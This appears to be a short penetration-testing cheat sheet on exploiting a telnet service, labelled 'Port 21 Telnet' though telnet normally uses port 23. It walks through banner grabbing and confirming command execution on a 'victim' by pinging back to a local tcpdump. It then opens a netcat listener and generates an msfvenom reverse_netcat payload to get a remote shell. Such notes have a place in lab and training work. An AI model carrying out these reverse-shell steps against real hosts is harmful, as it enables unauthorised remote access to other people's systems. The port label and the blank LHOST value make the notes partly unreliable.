Port 21 Telnet

Connective with telnet

May give out banner

telnet $IP $PORT

If we can not execute commands, check whether we can run system commands on the victim. Start tcp dumper locally.

sudo tcpdump ip proto \\icmp -i tun0

Then Ping the machine from victim telnet session

ping $IP -c 1

If we get any answer, it means, we can run commands on victim.

.RUN ping -c 1

So open a listener with nc. And then use the netcat reverse shell to connect to it

nc -lnvp 444

Now create a netcat payload with msfvenom and use that to get the shell

msfvenom -p cmd/unix/reverse_netcat LHOST= LPORT=444

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